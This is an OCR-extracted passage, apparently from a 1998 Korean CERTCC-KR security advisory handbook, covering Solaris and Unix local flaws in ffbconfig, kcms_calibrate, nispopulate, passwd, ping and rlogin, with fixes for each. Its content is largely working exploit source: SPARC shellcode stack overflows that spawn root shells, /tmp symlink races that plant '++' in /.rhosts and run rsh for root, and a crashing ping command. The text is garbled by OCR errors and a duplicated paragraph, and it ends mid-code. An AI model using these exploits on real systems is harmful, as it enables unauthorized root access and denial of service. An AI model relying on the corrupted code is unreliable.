for (i = 0; i < EXTRA / sixeof(u_long); i++)

*long_p++ =targ_addr;

printf(" Jumping to address 0x%lx B[%d] SO[%d]₩n",

targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

execl("/bin/fdformat", "fdformat", &buf[1],(char *) 0);

perror("execl failed");

}

Page 562: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ffbconfig-Solaris-버퍼오버플로우

ffbconfig-Solaris-overflow

Page 563: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ffbconfig-Solaris-overflow

ffbconfig-Solaris-버퍼오버플로우

문서번호

KH98-055

문서제목

ffbconfig-Solaris-버퍼오버플로우(ffbconfig-Solaris-overflow)

관련 응용프로그램

/usr/sbin/ffbconfig

관련 응용체제

Sun solaris 2.5, 2.5.1

취약점 분석

취약점 이해

- ffbconfig는 고속르레임버퍼(FFB, Fast Frame Buffer)를 이용하는 그래픽가속기

(Graphics Accelerate)를 구성하는데 사용되는 유틸리티이며, FFB 구성 소프트웨어 패키지

인 SUNWffbcf의 일부분이다. 이 유틸리티는 그래픽가속기가 설치되어있을 경우에만 필요

하다.

/dev/fbs/ffb0 파일이 존재하면 그래픽가속기가 설치되어있을 가능성이 있다.

- ffbconfig 명령은 setuid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

- ffbconfig 명령은 옵션없이 디바이스 이름을 인수로 받지만 인수길이를 검사하지 않기 때

문에 스택버퍼를 오버플로우시킬 수 있다.

취약점 확인 방법

- SUNWffvcf 패키지가 설치되어있는지 확인한다.

% /usr/bin/pkginfo -| SUNWffbcf

해킹수법 분석

해킹수법 이해

- ffbconfig에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버를로우시킨 후

제공된 이진코드를 실행하게된다.

- 이때 ffbconfig는 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권한으로

수행된다. 이르 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻을

수도 있다.

Page 564: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹 소스 프로그램

- 첨부

해킹시험 결과

kisa1% whoami

kadosu

kisa1% id

uid=123(kadosu) gid=10(staff)

kisa1% ./ff

Jumping to address 0xeffff9b0 B[128] E[256] SO[128]

ffbconfig:

해킹흔적 확인방법

대응방법

패치 설치

임시조치

- ffbconfig의 setuid 설정을 제거한다.

# chmod 555 /usr/sbin/ffbconfig

- ffbconfig가 필요없을 경우에는 다음과 같이 SunWffbcf 패키지르 제거한다.

/usr/sbin/pkgrm SunWffbcf

※ 다음과 같은 관련 패키지들도 필요없을 경우, 함께 제거할 수 있다.

SUNWffb FFV System Software (Device Driver)

SUNWffbmn On=Line FFB Manual Pages

SUNWffbw FFB Window System Support

SUNWffbxg FFB XGL support

Page 565: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*

This works on Solar is 2.5 wiz /usr/sbin/ffbconfig

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <unistd.h>

#define BUF_LENGTH 128

#define EXTRA 256

#define STACK_OFFSET 128

#define SPARC_NOP 0xa61cc013

u_char sparc_she||code[] =

"₩x82₩x10₩x20₩xca₩xa6₩x1c₩xc0₩x13₩x90₩x0c₩xc0₩x13₩x92₩x0c₩xc0

₩x13"

"₩xa6₩x04₩xe0₩x01₩x91₩xd4₩xff₩xff₩x2d₩x0b₩xd8₩x9a₩xac₩x15₩xa1₩

x6e"

"₩x2f₩x0b₩xdc₩xda₩x90₩x0b₩x80₩x0e₩x92₩x03₩xa0₩x08₩x94₩x1a₩x80

₩x0a"

"₩x9c₩x03₩xa0₩x10₩xec₩x3b₩xbf₩xf0₩xdc₩x23₩xbf₩xf8₩xc0₩x23₩xbf₩x

fc"

"₩x82₩x10₩x20₩x3b₩x91₩xd4₩xff₩xff";

ulong get_sp(void)

{

_asm_("mov %sp,%i0 ₩n");

}

void main(int argc, char *argv[])

{

char buf[BUF_LENGTH + EXTRA + 8];

long targ_addr;

u_long *long_p;

u_ckar *char_p;

Page 566: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int i, code_length = strlen(aparc_she||code),dso=0;

long_p =(u_long *) buf ;

for (i = 0; I < (BUF_LENGTH - code>length) / sizeof(u_long); I++)

*long_p++ = SPARC_NOP;

char_p = (u_char *) long_p;

for (i = 0; I <code_length; I++)

*char_p++ = sparc_she||code[i];

long_p = (u_long *) char_p;

targ_addr = get_sp() - STACK_OFFSET;

for (i = 0; i < EXTRA / sixeof(u_long); I++)

*long_p++ =targ_addr;

printf(" Jumping to address 0x%lx B[%d] SO[%d]₩n",

targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

execl("/bin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);

perror("execl failed");

}

Page 567: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

kcms_calibrate-Solaris-임시파일

kcms_calibrate-Solaris-tmpfile

Page 568: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

kcms_calibrate-Solaris-tmpfile

kcms_calibrate-Solaris-임시파일

문서번호

KH98-056

문서제목

kcms_calibrate-Solaris-임시파일(kcms_calibrate-Solaris-tmpfile)

관련 응용프로그램

/usr/openwin/bin/kcms_calibrate

관련운영체제

Sun Solaris 2.5x

취약점 분석

취약점 이해

- Solaris 2.5는 모니터, 스케너, 프린터 및 필름레코더의 칼라기능을 기술하고 조정하기 위

한 OpenWindows용 API 및 라이브러리인 Kodak Color Management System(KCMS)를

제공한다. KCMS에는 X11 윈도우시스템을 KCMS 라이브러리와 함께 사용할 수 있도록 구

성하고 조정하기 위한 kcms_configure와 kcms_calibrate 프로그램이 포함되어 있다.

- 이 프로그램들은 설치되때 set-user-id root 및 set-group-id bin으로 설정된다.

- kcms_calibrate는 수행될 때 임시파일을 생성하며 고정된 이름을 사용한다. 이 임시파일

의 이름은 kp_kcms_sys.sem이며 모드는 666으로 설정된다.

취약점 확인방법

해킹수법 분석

해킹수법 이해

- kcms_calibrate가 수행될 때 생성하는 임시파일을 새로 생성변경시키고자하는 임시

Page 569: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹 소스 프로그램

#!/bin/csh

while(1)

/usr/openwin/bin/kcms_configure -o -d 0:0

/usr/openwin/share/etc/devdate/profiles/kcmsEKsony20.mon

if( -f/.rhosts ) then

echo -n "++">> /.rhosts

endif

end

해킹시험 결과

flat% ln -s /.rhostskp_kcms_sys.sem

flat% /usr/openwin/bin/kcms_calibrate&

[1] 5757

flat% ls -l Kp_kcms_sys.sem

lrwxrwxrwx 1 kadosu staff 8 Mar 10 11:48 Kp_kcms_sys>sem ->

/.rhosts

flat%kcms

kcms: Command not found

flat% /user/kadosu/kcms

Call was successful.

Call was successful.

Call was successful.

Call was successful.

Call was successful.

Call was successful.

flat# more kcms

#!/bin/csh

while(1)

/usr/openwin/bin/kems_configure -o -d 0:0

/usr/openwin/share/etc/devdate/profiles/kcmsEKsony20.mon

if( -f/.rhosts ) then

echo -n "++">> /.rhosts

Page 570: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

endif

end

flat#

해킹흔적 확인방법

내용

대응방법

패치 설치

임시조치

- 다음과 같이 루트이외의 일반사용자는 사용할 수 없도록 수정한다.

# chmod 400 /usr/openwin/bin/kcms_calbrate

# chmod 400 /usr/openwin/bin/kcms_configure

Page 571: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

cat > uhit.sh << E_O_F

#!/bin/csh

# JungSeok. Roh ( [email protected] )

# Junior in KAIST undergraduate. Management Dep.

set disp="cosmos.kaist.ac.kr:0.0"

setenv DISPLAY $disp

/bin/rm -rf /tmp/Kp_kcms_sys.sem

cd /tmp

#waking symbolic link

ln -s /.rhosts Kp_kcms_sys.sem

/usr/openwin/bin/kcms_calibrate &

while(1)

echo "Click the devick you've chosen in kcms_calibrate window"

# Choose Any profiles . . hk..

# My 2.5 machine is unreachible son I can't get exact name of that profiles.

# What a fool I am.. jjap..

/usr/openwin/bin/kcms_configure -o -d $disp

/usr/openwin/share/ect/devdata/profiles/Eksony17.mon

if( -f /.rhosts ) then

echo -n "++">> /.rhosts

#As u know , we can't login as root .. use smtp account. that has UID 0 !!

/usr/bin/rsh localhost -l smtp csh -i

endif

end

E_O_F

Page 572: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

nispopulate-Solaris-임시파일

nispopulate-Solaris-tmpfile

Page 573: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

nispopulate-Solaris-tmpfile

nispopulate-Solaris-임시파일

문서번호

KH98-057

문서제목

nispopulate-Solaris-임시파일(nispopulate-Solaris-tmpfile)

관련 응용프로그램

/usr/lib/nis/nispipulate

관련 운용체제

Sun Solaris 2.5.1

취약점 분석

취약점 이해

- Sun Solaris 2.5.1의 nispopulate는 /etc에 위치한 파일들 또는 NIS 맵 파일에 저장된

정보들을 NIS+ 테이블로 변환시키는데 사용되는 유틸리티 스크립트로서, NIS+ 서버를 설

치할 경우, 한번만 수행된다.

- nispopulate는 수행시에 root 소유의 임시파일을 생성하는데 이 파일의 모드가 777로 설

정되기 때문에 공격자는 이 파일에 다른 임의의 파일을 링크시켜 새로운 파일을 생성시키거

나 기존의 시스템 파일을 훼손할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- nispopulate는 수행시에 생성되는 파일의 이름을 예측하지 못하도록 다음과 같이 PID와

0에서 4까지의 수자중 임의의 수자를 파일이름 뒤에 덧붙인다. 그러나 스크립트의 작업 내

용을 상세히 살펴보면 취약한 부분을 쉽게 찾을 수 있다.

1. 다음과 같은 형식의 666 모드의 파일을 생성한다.

/tmp/sh<PID>[0-4]

2. 사용자의 입력을 기다린다.

3. 다음과 같은 형식의 777 모드의 파일을 생성한다.

/tmp/passwd_<PID>

Page 574: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

- 공격용 프로그램은 /tmp 디렉토리를 감시하고 있다가 'sh<PID>[0-4]' 형태의 파일을 발

견하면 이파일에서 PID를 추출해낸 뒤, nispopulate가 위의 단계3의 작업을 시작하기 전에

/tmp/passwd_<PID> 파일을 원하는 다른 파일에 심볼릭링크로 연결시킨다.

해킹 소스 프로그램

#!/opt/gnu/bin/perl

# nisplus-exploit.pl

#

# to test: 1) start the script 2) as root, run/usr/lib/nispopulate

# Demonstrates weakness in Solar is 2.5 /usr/lib/nis/nispopulate

# shell script, by inserting a symlink postfixed with pid

#

# - [email protected]

Page 575: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

nispopulate-Solaris-임시파일

$destfile = "/hello.world";

do {

opendir(TMP, "/tmp");

while ($f = readdir(TMP)) {

if (substr($f, 0, 2) eq "sh") {

symlink($destfile, "/tmp/passwd_" . substr($f,2,length($f)-3));

$quit=1; last;

}

}

closedir(TMP)

sleep(1);

} while $quit == 0;

해킹시험결과

flat% uname -a

SunOS flat 5.5 Gener ic Sun4u sparc SunW.Ultra-1

flat% pwd

pwd: cannot determine current directory!

flat% id

uid=200(kadosu) gid=10(staff)

flat%ps

PID TTY TIME 층

3308 pts/8 0:00 csh

flat% nispop.pl

flat% id

uid=200(kadosu) gid=10(staff)

Page 576: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

flat# ls -1total 194drwxrwxrwtdrwxr-xr-xdrwxrwxrwdrwxrwxrwdrwxrwxrwdrwxrwxrw-rw--------rw-rw-rw-lrwxrwxrwx/tmp/.rhosts

6342222111

sysrootrootrootrootrootrootrootkadosu

sysrootrootrootroototherotherotherstaff

5601024104104107690512

MarMarFebFebFebMarMarMarMar

872828286878

17:3810:4819:2519:2516:5821:5616:5700:3717:38

./

../

.X11-pipe/

.X11-unix/

.pcmcia/

.removable/

.rhosts

.wm_pidpasswd_3336 ->

-rw-rw-r---rw-r--r---rw-r--r---rw-r--r---rw-r--r--

11111

rootrootrootrootroot

sysotherotherotherother

48963350189429344

MarMarMarMarMar

88888

17:3717:3817:3817:3817:38

ps_datash33360sh33361sh33362sh33363

flat# /usr/lib/nis/nispopulate -C

NIS+ domain name : kisanis.

Security Level : 2=DES

Credential Password : nisplus

Is this information correct? (type 'y' to accept, 'n' to change) n

NIS+ domain name: [kisanis.]

Security level (2=DES, 3=rsa): [2]

Credential Password: [nisplus] nisplus1

NIS+ domain name : kisanis.

Security level : 2=DES

Credential Password : nisplus1

Is this information correct? (type 'y' to accept, 'n' to change) y

This script will populate the NIS+ credential tables for domain

kisanis. from the following table(s) : passwd hosts

Do you want to continue? (type 'y' to continue, 'n' to exit this script)

y

Page 577: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

dumping passwd table...

passwd.org_dir.kisanis. : NIS+ servers uneachable.

loading credential table...

dumping hosts table...

hosts.org_dir.kisanis. : NIS+ servers uneachable.

loading credential table...

The credential table for domain kisanis. has been populated.

The password used will be nisplus1.

Credentials have been added for the entries in the

passwd and hosts table(s). Each entry was given a default

network passwd and (also known as a Secure-RPC password).

nisplus1

Use this password when the nisclient script requests the

network password.

flat# ls -1total 130drwxrwxrwtdrwxr-xr-xdrwxrwxrwdrwxrwxrwdrwxrwxrwdrwxrwxrw-rwx--x--x-rw-rw-rw--rw-rw-r--flat

6342222111

sysrootrootrootrootrootrootrootroot

sysrootrootrootroototherotherothersys

3601024104104107695045

4896

MarMarFebFebFebMarMarMarMar

872828286878

17:5310:4819:2519:2516:5821:5617:5300:3717:37

./

../

.X11-pipe/

.X11-unix/

.pcmcia/

.removable/

.rhosts*

.wm_pidps_data

Page 578: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

nispopulate-Solaris-임시파일

해킹흔적 확인방법

- /tmp/passwd_[uid] 임시파일의 링크여부를 점검한다.

대응방법

패치설치

- 패치를 설치한다.

SunOS 5.4 Patch ID : #102608-04

임시조치

- 필요없는 경우 /usr/lib/nis/nispopulate를 제거한다.

Page 579: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

passwd-Solaris-overflow

passwd-Solaris-overflow

Page 580: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

passwd-Solaris-overflow

passwd-Solaris-overflow

문서번호

KH98-058

문서제목

passwd-Solaris-오버플로우(passwd-Solaris-overflow)

관련 응용프로그램

/usr/lib/passwd

관련 운영체제

Sun Solairs 2.3, 2.4, 2.5 2.5.x

취약점 분석

취약점 이해

- passwd 명령은 setuid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

- passwd 명령은 사용자의 입력에 대해 길이를 검사하지 않기 때문에 수행 중

sa_chauthok() 함수에서 스택버퍼가 오버플로우될 수 있다.

- 특히 Solairs 2.5에서는 yppasswd(1)와 nispasswd(1)가 passwd 프로그램의 하드링크로

구현되어 있으므로 마찬가지로 취약하다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- passwd에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버플로우시킨 후

제공된 이진 코드를 실행하게된다.

- 이때 passwd는 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권한으로

수행된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻을

수도 있다.

해킹 소스 프로그램

/* This is for Solairs is 2.5.(1)!

With argu[1] you can modify the stack offset (+-500) if you have

troubles ...

Page 581: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <unistd.h>

#define BUF_LENGTH 1100

#define EXTRA 1200

#define STACK_OFFSET 3800

#define SPARC_NOP Oxa61cc013

u_char sparc_shellcode[] =

Page 582: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

passwd-Solaris-오버플로우

"₩x82₩x10₩x20₩xca₩xa6₩x1c₩xc0₩x13₩x90₩x0c₩xc0₩x13₩x92₩x0c₩xc0

₩x13"

"₩xa6₩x04₩xe0₩x01₩x91₩xd4₩xff₩xff₩x2d₩x0b₩xd8₩x9a₩xac₩x15₩xa1₩

x6e"

"₩x2f₩x0b₩xdc₩xda₩x90₩x0b₩x80₩x0e₩x92₩x03₩xa0₩x08₩x94₩x1a₩x80

₩x0a"

"₩x9c₩x03₩xa0₩x10₩xec₩x3b₩xbf₩xf0₩xdc₩x23₩xbf₩xf8₩xc0₩x23₩xbf₩x

fc"

"₩x82₩x10₩x20₩x3b₩x91₩xd4₩xff₩xff"

;

u_long get_sp(void)

{

_asm_("mov %sp, %i0 ₩n);

}

void main(int argc, char *argv[])

{

char buf[BUF_LENGTH + EXTRA] ;

long targ_addr ;

u_long*long_p ;

u_char*char_p ;

int i, code_length = strlen(sparc_shellcode),dso=0 ;

if(argc > 1) dso=atoi(argv[1]) ;

long_p = (u_long*) buf ;

targ_addr = get_sp() - STACK_OFFSET - dso ;

for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)

*long_p++ = SPARC_NOP;

char_p = (u_char *) long_p;

for(i = 0; i< code_length; i++)

*char_p++ = sparc_shellcode[1];

long_p = (u_long *) char_p;

Page 583: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

for (i = 0; i < EXTRA / sizeof(u_long); i++)

*long_p++ = targ_addr;

Page 584: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

printf("Jumping to address 0x%1x B[%d] E[%d] SO[%d]₩n",

targ_addr, BUF_LENGTH,EXTRA,STACK_OFFSET);

execl("/bin/passwd", "passwd", buf,(char *) 0);

perror("execl failed");

}

해킹시험결과

kisa1% id

uid=123(kadosu) gid=10(staff)

kisa1% whoami

kadosu

kisa1% lemon25 512

Jumping to address Oxefffe1do B[1100] E[1200] SO[3800]

passwd:

Page 585: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

내용

대응방법

2. 필요없는 경우 제거한다.

패치 설치

- 패치를 설치한다.

Sun 2.4 Patch ID : #102608-04

임시조치

- AUSCERT에서 개발하여 공급하는 오버플로우 랩퍼(wrapper)를 설치한다.

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper.c

- C 컴파일러가 없는 경우, 다음의 바이너리 버전을 설치한다. 현재 2.4, 2.5 및 2.5.1버전

이 제공되고 있다.

ftp://ftp.auscert.org.au/pub/auscert/tools/passwd_wrapper.tar.Z

Page 586: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ping-Solaris-서비스거부

ping-Solaris-Dos

Page 587: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ping-Solaris-Dos

ping-Solaris-서비스거부

문서번호

kh98-059

문서제목

ping-Solaris-서비스거부(ping-Solaris-Dos)

관련 응용프로그램

/usr/sbin/ping

관련 운영체제

Sun Solairs 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, 5.4 5.4_x86, 5.3

취약점 분석

취약점 이해

- ping 프로그램은 ICMP 프로토콜의 ECHO_REQUEST 데이터그램을 이용하여 상대방으로

하여금 ICMP ECHO_RESPONSE 데이터그램을 회신하도록 요구한다.

- 본 취약점을 이용하려면 시스템의 루프백 인터페이스를 통해 멀티캐스트 주소로 ping 요

청을 전송한다. 이 작업의 일부로 시스템은 자신에게 ping하게 된다.

- 취약한 버전의 Solairs 시스템은 이같은 ping 패킷을 수신할 시점에 대기열(quene)에 대

한 포인터가 초기화되지 않은 상태이다. 따라서 시스템이 크래쉬(crash)된다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- multicast 주소로 다음과 같이 옵션을 주어 ping을 실행시킬 경우 사용자 시스템이

crash 된다.

ping -sv -i 127.0.0.1 224.0.0.1

해킹소스 프로그램

해킹시험 결과

- 시스템이 정지됨

Page 588: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

대응방법

패치설치

OS version Patch ID

SunOS 5.5.1

SunOS 5.5.1x86

SunOS 5.5

103630-09

103631-09

103169-12

Page 589: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ping-Solaris-서비스거부

SunOS 5.5_x86 103170-12

SunOS5.4 101945-52

SunOS 5.4_x86 101946-46

SunOS 5.3 101318-89

임시조치

- BSD ping을 사용한다.

- 루트권한으로 다음과 같은 명령을 수행시킨다.

# /usr/sbin/ndd-set/dev/ip ip_respond_to_echo_broadcast 0

※ 위의 명령을 /etc/init.d/inetinit에 추가해두면 시스템이 재부트될 때마다 수행된다.

Page 590: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rlogin-*-오버플로우

rlogin-*-overflow

Page 591: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rlogin-*-overflow

rlogin-*-오버플로우

문서번호

KH98-060

문서제목

rlogin-*-오버플로우(rlogin-*-overflow)

관련 응용프로그램

/usr/bin/rlogin

관련 운영체제

다음 업체의 운영체제를 사용하는 시스템들이 모두 취약하다.

Berkeley Software Design, Inc. (BSDI)

Cray Research - A Silicon Graphics Company

Digital Equipment Corporation

FreeBSD, Inc.

Hewlett-Packard Corporation

IBM Corporation

Linux Systems

NeXT Software, Inc.

The Open Group

The Santa Cruz Operation (SCO)

취약점 분석

취약점 이해

- rlogin 프로그램은 RFC 1282에 준거하여 국지 시스템의 터미널 타입 지정을 상대호스트

에 전달한다. 이 기능은 rlogin을 이용해 맺어진 컴퓨터-컴퓨터간 연결을 사용하는 전화면

텍스트 에디터들과 같은 프로그램들이 정상적으로 동작할 수 있도록 하기 위한 것이다.

- 이를 위해 rlogin 프로그램은 TERM 환경변수에 지정된 값을 현재 터미널 정의로 이용한

다.

- 그런데 rlogin 명령은 TERM 환경변수의 값을 내부 변수에 복사할 때 길이를 검사하지

않기 때문에 내부 스택버퍼가 오버플로우될 수 있다.

취약점 확인 방법

해킹수법 분석

Page 592: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹수법 이해

- passwd 명령은 setuid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

- passwd 명령은 사용자의 입력에 대해 길이를 검사하지 않기 때문에 수행 중

sa_chauthok() 함수에서 스택버퍼가 오버플로우될 수 있다.

- 특히 Solairs 2.5에서는 yppasswd(1)와 nispasswd(1)가 passwd 프로그램의 하드링크로

구현되어 있으므로 마찬가지로 취약하다.

취약점 확인 방법

Page 593: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rlogin-*-오버플로우

해킹수법 분석

해킹수법 이해

- TERM 환경변수를 교묘히 설계된 문자열로 설정해두면 rlogin 프로그램이 수행될 때 내

부 스텍을 오버플로우시킨 후 제공된 이진 코드를 실행하게된다.

- 이때 rlogin은 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권한으로 수

행된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻을 수

도 있다.

해킹 소스 프로그램

/*

* rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines

* by exploiting the gethostbyname() overflow in rlogin.

*

* gcc -o rlogin-exploit rlogin-exploit.c

*

* Jeremy Elson, 18 Nov 1996

* [email protected]

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <unistd.h>

#define BUF_LENGTH 8200

#define EXTRA 100

#define STACK_OFFSET 4000

#define SPARC_NOP Oxa61cc013

Page 594: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

u_char sparc_shellcodep[] =

"₩x82₩x10₩x20₩xca₩xa6₩x1c₩xc0₩x13₩x90₩x0c₩xc0₩x13₩x92₩x0c₩xc0

₩x13"

"₩xa6₩x04₩xe0₩x01₩x91₩xd4₩xff₩xff₩x2d₩x0b₩xd8₩x9a₩xac₩x15₩xa1₩

x6e"

"₩x2f₩x0b₩xdc₩xda₩x90₩x0b₩x80₩x0e₩x92₩x03₩xa0₩x08₩x94₩x1a₩x80

₩x0a"

"₩x9c₩x03₩xa0₩x10₩xec₩x3b₩xbf₩xf0₩xdc₩x23₩xbf₩xf8₩xc0₩x23₩xbf₩x

fc"

"₩x82₩x10₩x20₩x3b₩x91₩xd4₩xff₩xff"

u_long get_sp(void)

{

_asm_("mov %sp, %i0 ₩n);

}

void main(int argc, char *argv[])

{

char buf[BUF_LENGTH + EXTRA] ;

long targ_addr ;

u_long*long_p ;

u_char*char_p ;

int i, code_length = strlen(sparc_shellcode)

long_p = (u_long *) buf;

for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)

*long_p++ = SPARC_NOP;

char_p = (u_char *) long_p;

for (i = 0; i < code_length; i++)

*char_p++ = sparc_shellcode[i];

